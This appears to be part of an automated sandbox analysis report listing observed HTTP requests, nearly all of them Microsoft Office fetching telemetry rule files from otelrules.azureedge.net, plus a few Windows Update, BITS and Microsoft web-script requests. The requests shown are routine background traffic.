Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=lRDkn92tguHwkO2&MD=4Ff31h2e HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
